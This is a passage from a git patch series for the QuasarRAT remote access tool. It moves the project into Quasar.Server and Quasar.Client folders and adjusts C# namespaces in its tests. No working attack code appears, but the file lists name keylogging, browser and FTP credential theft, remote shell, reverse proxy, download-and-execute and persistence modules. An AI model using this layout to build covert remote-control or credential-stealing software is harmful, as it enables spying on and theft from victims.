b/Quasar.Server/flags/td.png similarity index 100% rename from Server/flags/td.png rename to Quasar.Server/flags/td.png diff --git a/Server/flags/tf.png b/Quasar.Server/flags/tf.png similarity index 100% rename from Server/flags/tf.png rename to Quasar.Server/flags/tf.png diff --git a/Server/flags/tg.png b/Quasar.Server/flags/tg.png similarity index 100% rename from Server/flags/tg.png rename to Quasar.Server/flags/tg.png diff --git a/Server/flags/th.png b/Quasar.Server/flags/th.png similarity index 100% rename from Server/flags/th.png rename to Quasar.Server/flags/th.png diff --git a/Server/flags/tj.png b/Quasar.Server/flags/tj.png similarity index 100% rename from Server/flags/tj.png rename to Quasar.Server/flags/tj.png diff --git a/Server/flags/tk.png b/Quasar.Server/flags/tk.png similarity index 100% rename from Server/flags/tk.png rename to Quasar.Server/flags/tk.png diff --git a/Server/flags/tl.png b/Quasar.Server/flags/tl.png similarity index 100% rename from Server/flags/tl.png rename to Quasar.Server/flags/tl.png diff --git a/Server/flags/tm.png b/Quasar.Server/flags/tm.png similarity index 100% rename from Server/flags/tm.png rename to Quasar.Server/flags/tm.png diff --git a/Server/flags/tn.png b/Quasar.Server/flags/tn.png similarity index 100% rename from Server/flags/tn.png rename to Quasar.Server/flags/tn.png diff --git a/Server/flags/to.png b/Quasar.Server/flags/to.png similarity index 100% rename from Server/flags/to.png rename to Quasar.Server/flags/to.png diff --git a/Server/flags/tr.png b/Quasar.Server/flags/tr.png similarity index 100% rename from Server/flags/tr.png rename to Quasar.Server/flags/tr.png diff --git a/Server/flags/tt.png b/Quasar.Server/flags/tt.png similarity index 100% rename from Server/flags/tt.png rename to Quasar.Server/flags/tt.png diff --git a/Server/flags/tv.png b/Quasar.Server/flags/tv.png similarity index 100% rename from Server/flags/tv.png rename to Quasar.Server/flags/tv.png diff --git a/Server/flags/tw.png b/Quasar.Server/flags/tw.png similarity index 100% rename from Server/flags/tw.png rename to Quasar.Server/flags/tw.png diff --git a/Server/flags/tz.png b/Quasar.Server/flags/tz.png similarity index 100% rename from Server/flags/tz.png rename to Quasar.Server/flags/tz.png diff --git a/Server/flags/ua.png b/Quasar.Server/flags/ua.png similarity index 100% rename from Server/flags/ua.png rename to Quasar.Server/flags/ua.png diff --git a/Server/flags/ug.png b/Quasar.Server/flags/ug.png similarity index 100% rename from Server/flags/ug.png rename to Quasar.Server/flags/ug.png diff --git a/Server/flags/um.png b/Quasar.Server/flags/um.png similarity index 100% rename from Server/flags/um.png rename to Quasar.Server/flags/um.png diff --git a/Server/flags/us.png b/Quasar.Server/flags/us.png similarity index 100% rename from Server/flags/us.png rename to Quasar.Server/flags/us.png diff --git a/Server/flags/uy.png b/Quasar.Server/flags/uy.png similarity index 100% rename from Server/flags/uy.png rename to Quasar.Server/flags/uy.png diff --git a/Server/flags/uz.png b/Quasar.Server/flags/uz.png similarity index 100% rename from Server/flags/uz.png rename to Quasar.Server/flags/uz.png diff --git a/Server/flags/va.png b/Quasar.Server/flags/va.png similarity index 100% rename from Server/flags/va.png rename to Quasar.Server/flags/va.png diff --git a/Server/flags/vc.png b/Quasar.Server/flags/vc.png similarity index 100% rename from Server/flags/vc.png rename to Quasar.Server/flags/vc.png diff --git a/Server/flags/ve.png b/Quasar.Server/flags/ve.png similarity index 100% rename from Server/flags/ve.png rename to Quasar.Server/flags/ve.png diff --git a/Server/flags/vg.png b/Quasar.Server/flags/vg.png similarity index 100% rename from Server/flags/vg.png rename to Quasar.Server/flags/vg.png diff --git a/Server/flags/vi.png b/Quasar.Server/flags/vi.png similarity index 100% rename from Server/flags/vi.png rename to Quasar.Server/flags/vi.png diff --git a/Server/flags/vn.png b/Quasar.Server/flags/vn.png similarity index 100% rename from Server/flags/vn.png rename to Quasar.Server/flags/vn.png diff --git a/Server/flags/vu.png b/Quasar.Server/flags/vu.png similarity index 100% rename from Server/flags/vu.png rename to Quasar.Server/flags/vu.png diff --git a/Server/flags/wales.png b/Quasar.Server/flags/wales.png similarity index 100% rename from Server/flags/wales.png rename to Quasar.Server/flags/wales.png diff --git a/Server/flags/wf.png b/Quasar.Server/flags/wf.png similarity index 100% rename from Server/flags/wf.png rename to Quasar.Server/flags/wf.png diff --git a/Server/flags/ws.png b/Quasar.Server/flags/ws.png similarity index 100% rename from Server/flags/ws.png rename to Quasar.Server/flags/ws.png diff --git a/Server/flags/xy.png b/Quasar.Server/flags/xy.png similarity index 100% rename from Server/flags/xy.png rename to Quasar.Server/flags/xy.png diff --git a/Server/flags/ye.png b/Quasar.Server/flags/ye.png similarity index 100% rename from Server/flags/ye.png rename to Quasar.Server/flags/ye.png diff --git a/Server/flags/yt.png b/Quasar.Server/flags/yt.png similarity index 100% rename from Server/flags/yt.png rename to Quasar.Server/flags/yt.png diff --git a/Server/flags/za.png b/Quasar.Server/flags/za.png similarity index 100% rename from Server/flags/za.png rename to Quasar.Server/flags/za.png diff --git a/Server/flags/zm.png b/Quasar.Server/flags/zm.png similarity index 100% rename from Server/flags/zm.png rename to Quasar.Server/flags/zm.png diff --git a/Server/flags/zw.png b/Quasar.Server/flags/zw.png similarity index 100% rename from Server/flags/zw.png rename to Quasar.Server/flags/zw.png diff --git a/Server/icons/Quasar_Server.png b/Quasar.Server/icons/Quasar_Server.png similarity index 100% rename from Server/icons/Quasar_Server.png rename to Quasar.Server/icons/Quasar_Server.png diff --git a/Server/images/actions.png b/Quasar.Server/images/actions.png similarity index 100% rename from Server/images/actions.png rename to Quasar.Server/images/actions.png diff --git a/Server/images/application.png b/Quasar.Server/images/application.png similarity index 100% rename from Server/images/application.png rename to Quasar.Server/images/application.png diff --git a/Server/images/application_add.png b/Quasar.Server/images/application_add.png similarity index 100% rename from Server/images/application_add.png rename to Quasar.Server/images/application_add.png diff --git a/Server/images/application_delete.png b/Quasar.Server/images/application_delete.png similarity index 100% rename from Server/images/application_delete.png rename to Quasar.Server/images/application_delete.png diff --git a/Server/images/archive.png b/Quasar.Server/images/archive.png similarity index 100% rename from Server/images/archive.png rename to Quasar.Server/images/archive.png diff --git a/Server/images/back.png b/Quasar.Server/images/back.png similarity index 100% rename from Server/images/back.png rename to Quasar.Server/images/back.png diff --git a/Server/images/bricks.png b/Quasar.Server/images/bricks.png similarity index 100% rename from Server/images/bricks.png rename to Quasar.Server/images/bricks.png diff --git a/Server/images/broom.png b/Quasar.Server/images/broom.png similarity index 100% rename from Server/images/broom.png rename to Quasar.Server/images/broom.png diff --git a/Server/images/cancel.png b/Quasar.Server/images/cancel.png similarity index 100% rename from Server/images/cancel.png rename to Quasar.Server/images/cancel.png diff --git a/Server/images/computer.png b/Quasar.Server/images/computer.png similarity index 100% rename from Server/images/computer.png rename to Quasar.Server/images/computer.png diff --git a/Server/images/copy.png b/Quasar.Server/images/copy.png similarity index 100% rename from Server/images/copy.png rename to Quasar.Server/images/copy.png diff --git a/Server/images/delete.png b/Quasar.Server/images/delete.png similarity index 100% rename from Server/images/delete.png rename to Quasar.Server/images/delete.png diff --git a/Server/images/done.png b/Quasar.Server/images/done.png similarity index 100% rename from Server/images/done.png rename to Quasar.Server/images/done.png diff --git a/Server/images/download.png b/Quasar.Server/images/download.png similarity index 100% rename from Server/images/download.png rename to Quasar.Server/images/download.png diff --git a/Server/images/drive_go.png b/Quasar.Server/images/drive_go.png similarity index 100% rename from Server/images/drive_go.png rename to Quasar.Server/images/drive_go.png diff --git a/Server/images/eye.png b/Quasar.Server/images/eye.png similarity index 100% rename from Server/images/eye.png rename to Quasar.Server/images/eye.png diff --git a/Server/images/file.png b/Quasar.Server/images/file.png similarity index 100% rename from Server/images/file.png rename to Quasar.Server/images/file.png diff --git a/Server/images/folder.png b/Quasar.Server/images/folder.png similarity index 100% rename from Server/images/folder.png rename to Quasar.Server/images/folder.png diff --git a/Server/images/image.png b/Quasar.Server/images/image.png similarity index 100% rename from Server/images/image.png rename to Quasar.Server/images/image.png diff --git a/Server/images/information.png b/Quasar.Server/images/information.png similarity index 100% rename from Server/images/information.png rename to Quasar.Server/images/information.png diff --git a/Server/images/key_go.png b/Quasar.Server/images/key_go.png similarity index 100% rename from Server/images/key_go.png rename to Quasar.Server/images/key_go.png diff --git a/Server/images/keyboard_add.png b/Quasar.Server/images/keyboard_add.png similarity index 100% rename from Server/images/keyboard_add.png rename to Quasar.Server/images/keyboard_add.png diff --git a/Server/images/keyboard_delete.png b/Quasar.Server/images/keyboard_delete.png similarity index 100% rename from Server/images/keyboard_delete.png rename to Quasar.Server/images/keyboard_delete.png diff --git a/Server/images/lightning.png b/Quasar.Server/images/lightning.png similarity index 100% rename from Server/images/lightning.png rename to Quasar.Server/images/lightning.png diff --git a/Server/images/logger.png b/Quasar.Server/images/logger.png similarity index 100% rename from Server/images/logger.png rename to Quasar.Server/images/logger.png diff --git a/Server/images/monitor.png b/Quasar.Server/images/monitor.png similarity index 100% rename from Server/images/monitor.png rename to Quasar.Server/images/monitor.png diff --git a/Server/images/mouse_add.png b/Quasar.Server/images/mouse_add.png similarity index 100% rename from Server/images/mouse_add.png rename to Quasar.Server/images/mouse_add.png diff --git a/Server/images/mouse_delete.png b/Quasar.Server/images/mouse_delete.png similarity index 100% rename from Server/images/mouse_delete.png rename to Quasar.Server/images/mouse_delete.png diff --git a/Server/images/movie.png b/Quasar.Server/images/movie.png similarity index 100% rename from Server/images/movie.png rename to Quasar.Server/images/movie.png diff --git a/Server/images/music.png b/Quasar.Server/images/music.png similarity index 100% rename from Server/images/music.png rename to Quasar.Server/images/music.png diff --git a/Server/images/pdf.png b/Quasar.Server/images/pdf.png similarity index 100% rename from Server/images/pdf.png rename to Quasar.Server/images/pdf.png diff --git a/Server/images/refresh.png b/Quasar.Server/images/refresh.png similarity index 100% rename from Server/images/refresh.png rename to Quasar.Server/images/refresh.png diff --git a/Server/images/reg_binary.png b/Quasar.Server/images/reg_binary.png similarity index 100% rename from Server/images/reg_binary.png rename to Quasar.Server/images/reg_binary.png diff --git a/Server/images/reg_string.png b/Quasar.Server/images/reg_string.png similarity index 100% rename from Server/images/reg_string.png rename to Quasar.Server/images/reg_string.png diff --git a/Server/images/registry.png b/Quasar.Server/images/registry.png similarity index 100% rename from Server/images/registry.png rename to Quasar.Server/images/registry.png diff --git a/Server/images/restart.png b/Quasar.Server/images/restart.png similarity index 100% rename from Server/images/restart.png rename to Quasar.Server/images/restart.png diff --git a/Server/images/run.png b/Quasar.Server/images/run.png similarity index 100% rename from Server/images/run.png rename to Quasar.Server/images/run.png diff --git a/Server/images/save.png b/Quasar.Server/images/save.png similarity index 100% rename from Server/images/save.png rename to Quasar.Server/images/save.png diff --git a/Server/images/server.png b/Quasar.Server/images/server.png similarity index 100% rename from Server/images/server.png rename to Quasar.Server/images/server.png diff --git a/Server/images/server_add.png b/Quasar.Server/images/server_add.png similarity index 100% rename from Server/images/server_add.png rename to Quasar.Server/images/server_add.png diff --git a/Server/images/server_disconnect.png b/Quasar.Server/images/server_disconnect.png similarity index 100% rename from Server/images/server_disconnect.png rename to Quasar.Server/images/server_disconnect.png diff --git a/Server/images/server_link.png b/Quasar.Server/images/server_link.png similarity index 100% rename from Server/images/server_link.png rename to Quasar.Server/images/server_link.png diff --git a/Server/images/server_reconnect.png b/Quasar.Server/images/server_reconnect.png similarity index 100% rename from Server/images/server_reconnect.png rename to Quasar.Server/images/server_reconnect.png diff --git a/Server/images/server_uninstall.png b/Quasar.Server/images/server_uninstall.png similarity index 100% rename from Server/images/server_uninstall.png rename to Quasar.Server/images/server_uninstall.png diff --git a/Server/images/shutdown.png b/Quasar.Server/images/shutdown.png similarity index 100% rename from Server/images/shutdown.png rename to Quasar.Server/images/shutdown.png diff --git a/Server/images/standby.png b/Quasar.Server/images/standby.png similarity index 100% rename from Server/images/standby.png rename to Quasar.Server/images/standby.png diff --git a/Server/images/startup_programs.png b/Quasar.Server/images/startup_programs.png similarity index 100% rename from Server/images/startup_programs.png rename to Quasar.Server/images/startup_programs.png diff --git a/Server/images/task_manager.png b/Quasar.Server/images/task_manager.png similarity index 100% rename from Server/images/task_manager.png rename to Quasar.Server/images/task_manager.png diff --git a/Server/images/terminal.png b/Quasar.Server/images/terminal.png similarity index 100% rename from Server/images/terminal.png rename to Quasar.Server/images/terminal.png diff --git a/Server/images/text.png b/Quasar.Server/images/text.png similarity index 100% rename from Server/images/text.png rename to Quasar.Server/images/text.png diff --git a/Server/images/textfield_rename.png b/Quasar.Server/images/textfield_rename.png similarity index 100% rename from Server/images/textfield_rename.png rename to Quasar.Server/images/textfield_rename.png diff --git a/Server/images/transmit_blue.png b/Quasar.Server/images/transmit_blue.png similarity index 100% rename from Server/images/transmit_blue.png rename to Quasar.Server/images/transmit_blue.png diff --git a/Server/images/uac_shield.png b/Quasar.Server/images/uac_shield.png similarity index 100% rename from Server/images/uac_shield.png rename to Quasar.Server/images/uac_shield.png diff --git a/Server/images/upload.png b/Quasar.Server/images/upload.png similarity index 100% rename from Server/images/upload.png rename to Quasar.Server/images/upload.png diff --git a/Server/images/website.png b/Quasar.Server/images/website.png similarity index 100% rename from Server/images/website.png rename to Quasar.Server/images/website.png diff --git a/Server/images/word.png b/Quasar.Server/images/word.png similarity index 100% rename from Server/images/word.png rename to Quasar.Server/images/word.png diff --git a/Server/images/world_go.png b/Quasar.Server/images/world_go.png similarity index 100% rename from Server/images/world_go.png rename to Quasar.Server/images/world_go.png diff --git a/Server/images/world_link.png b/Quasar.Server/images/world_link.png similarity index 100% rename from Server/images/world_link.png rename to Quasar.Server/images/world_link.png diff --git a/Server/packages.config b/Quasar.Server/packages.config similarity index 100% rename from Server/packages.config rename to Quasar.Server/packages.config diff --git a/QuasarRAT.sln b/QuasarRAT.sln index b2bd69cfa..32cc2065d 100644 --- a/QuasarRAT.sln +++ b/QuasarRAT.sln @@ -3,13 +3,13 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.28010.0 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client.Tests", "Client.Tests\Client.Tests.csproj", "{7223F9B2-17A2-432B-ADAC-51B1E35681DB}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Client.Tests", "Quasar.Client.Tests\Quasar.Client.Tests.csproj", "{7223F9B2-17A2-432B-ADAC-51B1E35681DB}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server.Tests", "Server.Tests\Server.Tests.csproj", "{BF45108E-1E43-486B-A71D-5426BBB041DB}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Server.Tests", "Quasar.Server.Tests\Quasar.Server.Tests.csproj", "{BF45108E-1E43-486B-A71D-5426BBB041DB}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" EndProject From 2e77af9db94d85036b4ab5111dde4c1618e01b41 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 27 Sep 2018 10:05:10 +0200 Subject: [PATCH 135/229] Adjust namespaces --- .../Core/Compression/JpgCompression.Tests.cs | 3 +- .../Core/Compression/SafeQuickLZ.Tests.cs | 4 +- .../Core/Encryption/AES.Tests.cs | 6 +- .../Core/Encryption/SHA256.Tests.cs | 6 +- .../Core/Helper/FileHelper.Tests.cs | 4 +- .../Quasar.Client.Tests.csproj | 2 +- Quasar.Client/Config/Settings.cs | 6 +- Quasar.Client/Core/Commands/CommandHandler.cs | 4 +- .../Core/Commands/ConnectionHandler.cs | 21 ++++--- Quasar.Client/Core/Commands/FileHandler.cs | 19 +++--- Quasar.Client/Core/Commands/MiscHandler.cs | 15 +++-- .../Core/Commands/RegistryHandler.cs | 25 ++++---- .../Core/Commands/SurveillanceHandler.cs | 37 ++++++------ Quasar.Client/Core/Commands/SystemHandler.cs | 44 +++++++------- .../Core/Commands/TcpConnectionsHandler.cs | 15 +++-- Quasar.Client/Core/Compression/SafeQuickLZ.cs | 2 +- Quasar.Client/Core/Cryptography/AES.cs | 4 +- Quasar.Client/Core/Cryptography/SHA256.cs | 2 +- Quasar.Client/Core/Data/ClientData.cs | 2 +- Quasar.Client/Core/Data/GeoInformation.cs | 2 +- Quasar.Client/Core/Data/Host.cs | 2 +- .../Core/Extensions/RegistryKeyExtensions.cs | 8 +-- .../Core/Extensions/SocketExtensions.cs | 2 +- .../Core/Helper/CryptographyHelper.cs | 2 +- Quasar.Client/Core/Helper/DevicesHelper.cs | 4 +- Quasar.Client/Core/Helper/FileHelper.cs | 8 +-- Quasar.Client/Core/Helper/FormatHelper.cs | 5 +- .../Core/Helper/GeoLocationHelper.cs | 4 +- Quasar.Client/Core/Helper/HostHelper.cs | 4 +- Quasar.Client/Core/Helper/KeyloggerHelper.cs | 2 +- Quasar.Client/Core/Helper/MutexHelper.cs | 2 +- .../Core/Helper/NativeMethodsHelper.cs | 4 +- Quasar.Client/Core/Helper/PlatformHelper.cs | 2 +- .../Core/Helper/RegistryKeyHelper.cs | 12 ++-- Quasar.Client/Core/Helper/ScreenHelper.cs | 4 +- Quasar.Client/Core/Helper/SystemHelper.cs | 2 +- .../Core/Helper/WindowsAccountHelper.cs | 4 +- .../Core/Installation/ClientInstaller.cs | 11 ++-- .../Core/Installation/ClientUninstaller.cs | 9 ++- .../Core/Installation/ClientUpdater.cs | 11 ++-- Quasar.Client/Core/Installation/Startup.cs | 8 +-- Quasar.Client/Core/Networking/Client.cs | 10 ++-- .../Core/Networking/PacketHandler.cs | 8 +-- Quasar.Client/Core/Networking/QuasarClient.cs | 10 ++-- .../Core/Recovery/Browsers/Chrome.cs | 8 +-- .../Core/Recovery/Browsers/Firefox.cs | 16 +++--- .../Recovery/Browsers/InternetExplorer.cs | 10 ++-- Quasar.Client/Core/Recovery/Browsers/Opera.cs | 8 +-- .../Core/Recovery/Browsers/Yandex.cs | 8 +-- .../Core/Recovery/FtpClients/FileZilla.cs | 6 +- .../Core/Recovery/FtpClients/WinSCP.cs | 12 ++-- .../Core/Recovery/Utilities/Chromium.cs | 6 +- .../Core/Recovery/Utilities/JsonUtil.cs | 2 +- .../Core/Recovery/Utilities/SQLiteHandler.cs | 2 +- Quasar.Client/Core/Registry/RegistryEditor.cs | 10 ++-- Quasar.Client/Core/Registry/RegistrySeeker.cs | 10 ++-- .../Core/ReverseProxy/ReverseProxyClient.cs | 7 +-- .../ReverseProxyCommandHandler.cs | 5 +- Quasar.Client/Core/Utilities/HostsManager.cs | 4 +- Quasar.Client/Core/Utilities/Keylogger.cs | 10 ++-- Quasar.Client/Core/Utilities/NativeMethods.cs | 2 +- Quasar.Client/Core/Utilities/Shell.cs | 2 +- Quasar.Client/Program.cs | 20 +++---- .../Properties/Resources.Designer.cs | 32 +++++------ Quasar.Client/Properties/Settings.Designer.cs | 12 ++-- Quasar.Client/Quasar.Client.csproj | 4 +- .../Core/Compression/SafeQuickLZ.Tests.cs | 4 +- .../Core/Encryption/AES.Tests.cs | 6 +- .../Quasar.Server.Tests.csproj | 2 +- Quasar.Server/Controls/DotNetBarTabControl.cs | 2 +- .../Controls/HexEditor/ByteCollection.cs | 4 +- Quasar.Server/Controls/HexEditor/Caret.cs | 5 +- Quasar.Server/Controls/HexEditor/EditView.cs | 5 +- Quasar.Server/Controls/HexEditor/HexEditor.cs | 5 +- .../Controls/HexEditor/HexViewHandler.cs | 5 +- .../HexEditor/IKeyMouseEventHandler.cs | 5 +- .../Controls/HexEditor/StringViewHandler.cs | 5 +- Quasar.Server/Controls/InputBox.cs | 2 +- Quasar.Server/Controls/Line.cs | 2 +- Quasar.Server/Controls/ListViewEx.cs | 6 +- Quasar.Server/Controls/RapidPictureBox.cs | 4 +- Quasar.Server/Controls/RegistryTreeView.cs | 8 +-- .../Controls/RegistryValueLstItem.cs | 10 ++-- .../Controls/WordTextBox.Designer.cs | 2 +- Quasar.Server/Controls/WordTextBox.cs | 10 +--- Quasar.Server/Core/Build/ClientBuilder.cs | 10 ++-- Quasar.Server/Core/Build/IconInjector.cs | 2 +- Quasar.Server/Core/Build/Renamer.cs | 4 +- Quasar.Server/Core/Compression/SafeQuickLZ.cs | 2 +- Quasar.Server/Core/Cryptography/AES.cs | 4 +- Quasar.Server/Core/Data/BuildOptions.cs | 2 +- Quasar.Server/Core/Data/BuilderProfile.cs | 4 +- Quasar.Server/Core/Data/Host.cs | 2 +- Quasar.Server/Core/Data/Settings.cs | 2 +- .../Core/Extensions/ListViewExtensions.cs | 6 +- .../Core/Extensions/RegistryKeyExtensions.cs | 9 +-- .../Core/Extensions/SocketExtensions.cs | 2 +- Quasar.Server/Core/Helper/ClipboardHelper.cs | 2 +- .../Core/Helper/CryptographyHelper.cs | 4 +- Quasar.Server/Core/Helper/FileHelper.cs | 8 +-- Quasar.Server/Core/Helper/FormatHelper.cs | 2 +- Quasar.Server/Core/Helper/HostHelper.cs | 5 +- .../Core/Helper/NativeMethodsHelper.cs | 4 +- Quasar.Server/Core/Helper/PlatformHelper.cs | 2 +- .../Core/Helper/RemoteDesktopHelper.cs | 2 +- Quasar.Server/Core/Helper/WindowHelper.cs | 4 +- .../ClientStatusHandler.cs | 4 +- .../FileManagerHandler.cs | 10 ++-- .../KeyloggerHandler.cs | 6 +- .../PasswordRecoveryHandler.cs | 4 +- .../{Commands => Messages}/RegistryHandler.cs | 4 +- .../RemoteDesktopHandler.cs | 4 +- .../RemoteShellHandler.cs | 4 +- .../ReverseProxyHandler.cs | 6 +- .../StartupManagerHandler.cs | 4 +- .../SystemInformationHandler.cs | 4 +- .../TaskManagerHandler.cs | 4 +- .../TcpConnectionsHandler.cs | 4 +- Quasar.Server/Core/Networking/Client.cs | 12 ++-- Quasar.Server/Core/Networking/QuasarServer.cs | 6 +- Quasar.Server/Core/Networking/Server.cs | 10 ++-- Quasar.Server/Core/Networking/UserState.cs | 4 +- .../Utilities/PooledBufferManager.cs | 2 +- .../Core/Networking/Utilities/UPnP.cs | 3 +- Quasar.Server/Core/Registry/RegValueHelper.cs | 6 +- .../Core/ReverseProxy/ReverseProxyClient.cs | 4 +- .../Core/ReverseProxy/ReverseProxyServer.cs | 4 +- Quasar.Server/Core/Utilities/FrameCounter.cs | 2 +- .../Core/Utilities/ListViewColumnSorter.cs | 2 +- Quasar.Server/Core/Utilities/NativeMethods.cs | 2 +- Quasar.Server/Core/Utilities/NoIpUpdater.cs | 4 +- Quasar.Server/Enums/TransferType.cs | 2 +- Quasar.Server/Enums/WordType.cs | 7 +-- Quasar.Server/Forms/FrmAbout.Designer.cs | 4 +- Quasar.Server/Forms/FrmAbout.cs | 4 +- Quasar.Server/Forms/FrmBuilder.Designer.cs | 54 +++++++++--------- Quasar.Server/Forms/FrmBuilder.cs | 8 +-- .../Forms/FrmConnections.Designer.cs | 10 ++-- Quasar.Server/Forms/FrmConnections.cs | 8 +-- .../Forms/FrmDownloadAndExecute.Designer.cs | 2 +- Quasar.Server/Forms/FrmDownloadAndExecute.cs | 4 +- .../Forms/FrmFileManager.Designer.cs | 30 +++++----- Quasar.Server/Forms/FrmFileManager.cs | 20 +++---- Quasar.Server/Forms/FrmKeylogger.Designer.cs | 2 +- Quasar.Server/Forms/FrmKeylogger.cs | 12 ++-- Quasar.Server/Forms/FrmMain.Designer.cs | 32 +++++------ Quasar.Server/Forms/FrmMain.cs | 22 +++---- .../Forms/FrmPasswordRecovery.Designer.cs | 14 +++-- Quasar.Server/Forms/FrmPasswordRecovery.cs | 16 +++--- .../Forms/FrmRegValueEditBinary.Designer.cs | 6 +- Quasar.Server/Forms/FrmRegValueEditBinary.cs | 8 +-- .../FrmRegValueEditMultiString.Designer.cs | 2 +- .../Forms/FrmRegValueEditMultiString.cs | 8 +-- .../Forms/FrmRegValueEditString.Designer.cs | 2 +- Quasar.Server/Forms/FrmRegValueEditString.cs | 10 ++-- .../Forms/FrmRegValueEditWord.Designer.cs | 9 ++- Quasar.Server/Forms/FrmRegValueEditWord.cs | 10 ++-- .../Forms/FrmRegistryEditor.Designer.cs | 8 ++- Quasar.Server/Forms/FrmRegistryEditor.cs | 26 ++++----- .../Forms/FrmRemoteDesktop.Designer.cs | 10 ++-- Quasar.Server/Forms/FrmRemoteDesktop.cs | 18 +++--- .../Forms/FrmRemoteShell.Designer.cs | 2 +- Quasar.Server/Forms/FrmRemoteShell.cs | 12 ++-- .../Forms/FrmReverseProxy.Designer.cs | 6 +- Quasar.Server/Forms/FrmReverseProxy.cs | 18 +++--- Quasar.Server/Forms/FrmSettings.Designer.cs | 2 +- Quasar.Server/Forms/FrmSettings.cs | 12 ++-- .../Forms/FrmShowMessagebox.Designer.cs | 2 +- Quasar.Server/Forms/FrmShowMessagebox.cs | 4 +- Quasar.Server/Forms/FrmStartupAdd.Designer.cs | 2 +- Quasar.Server/Forms/FrmStartupAdd.cs | 8 +-- .../Forms/FrmStartupManager.Designer.cs | 10 ++-- Quasar.Server/Forms/FrmStartupManager.cs | 16 +++--- .../Forms/FrmSystemInformation.Designer.cs | 10 ++-- Quasar.Server/Forms/FrmSystemInformation.cs | 14 ++--- .../Forms/FrmTaskManager.Designer.cs | 12 ++-- Quasar.Server/Forms/FrmTaskManager.cs | 16 +++--- Quasar.Server/Forms/FrmUpdate.Designer.cs | 2 +- Quasar.Server/Forms/FrmUpdate.cs | 4 +- .../Forms/FrmUploadAndExecute.Designer.cs | 2 +- Quasar.Server/Forms/FrmUploadAndExecute.cs | 4 +- .../Forms/FrmVisitWebsite.Designer.cs | 2 +- Quasar.Server/Forms/FrmVisitWebsite.cs | 4 +- Quasar.Server/Models/FileTransfer.cs | 4 +- Quasar.Server/Program.cs | 6 +- .../Properties/Resources.Designer.cs | 4 +- Quasar.Server/Properties/Settings.Designer.cs | 12 ++-- Quasar.Server/Quasar.Server.csproj | 33 +++++------ Quasar.Server/{ => icons}/Quasar_Server.ico | Bin 189 files changed, 701 insertions(+), 740 deletions(-) rename Quasar.Server/Core/{Commands => Messages}/ClientStatusHandler.cs (98%) rename Quasar.Server/Core/{Commands => Messages}/FileManagerHandler.cs (99%) rename Quasar.Server/Core/{Commands => Messages}/KeyloggerHandler.cs (96%) rename Quasar.Server/Core/{Commands => Messages}/PasswordRecoveryHandler.cs (97%) rename Quasar.Server/Core/{Commands => Messages}/RegistryHandler.cs (99%) rename Quasar.Server/Core/{Commands => Messages}/RemoteDesktopHandler.cs (99%) rename Quasar.Server/Core/{Commands => Messages}/RemoteShellHandler.cs (97%) rename Quasar.Server/Core/{Commands => Messages}/ReverseProxyHandler.cs (97%) rename Quasar.Server/Core/{Commands => Messages}/StartupManagerHandler.cs (96%) rename Quasar.Server/Core/{Commands => Messages}/SystemInformationHandler.cs (96%) rename Quasar.Server/Core/{Commands => Messages}/TaskManagerHandler.cs (96%) rename Quasar.Server/Core/{Commands => Messages}/TcpConnectionsHandler.cs (97%) rename Quasar.Server/{ => icons}/Quasar_Server.ico (100%) diff --git a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs index 7a936cc7b..7ef6b9cba 100644 --- a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs +++ b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs @@ -2,9 +2,8 @@ using System.Drawing; using Microsoft.VisualStudio.TestTools.UnitTesting; using Quasar.Common.Video.Compression; -using xClient.Core.Compression; -namespace xClient.Tests.Core.Compression +namespace Quasar.Client.Tests.Core.Compression { [TestClass] public class JpgCompressionTests diff --git a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs index a71fb8259..effe9fc51 100644 --- a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs @@ -1,8 +1,8 @@ using System; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Compression; +using Quasar.Client.Core.Compression; -namespace xClient.Tests.Core.Compression +namespace Quasar.Client.Tests.Core.Compression { [TestClass] public class SafeQuickLZTests diff --git a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs index 6bf4d813b..10ef3e7c4 100644 --- a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs +++ b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs @@ -1,9 +1,9 @@ using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Helper; -namespace xClient.Tests.Core.Encryption +namespace Quasar.Client.Tests.Core.Encryption { [TestClass] public class AESTests diff --git a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs index 3f20d87af..e8f870569 100644 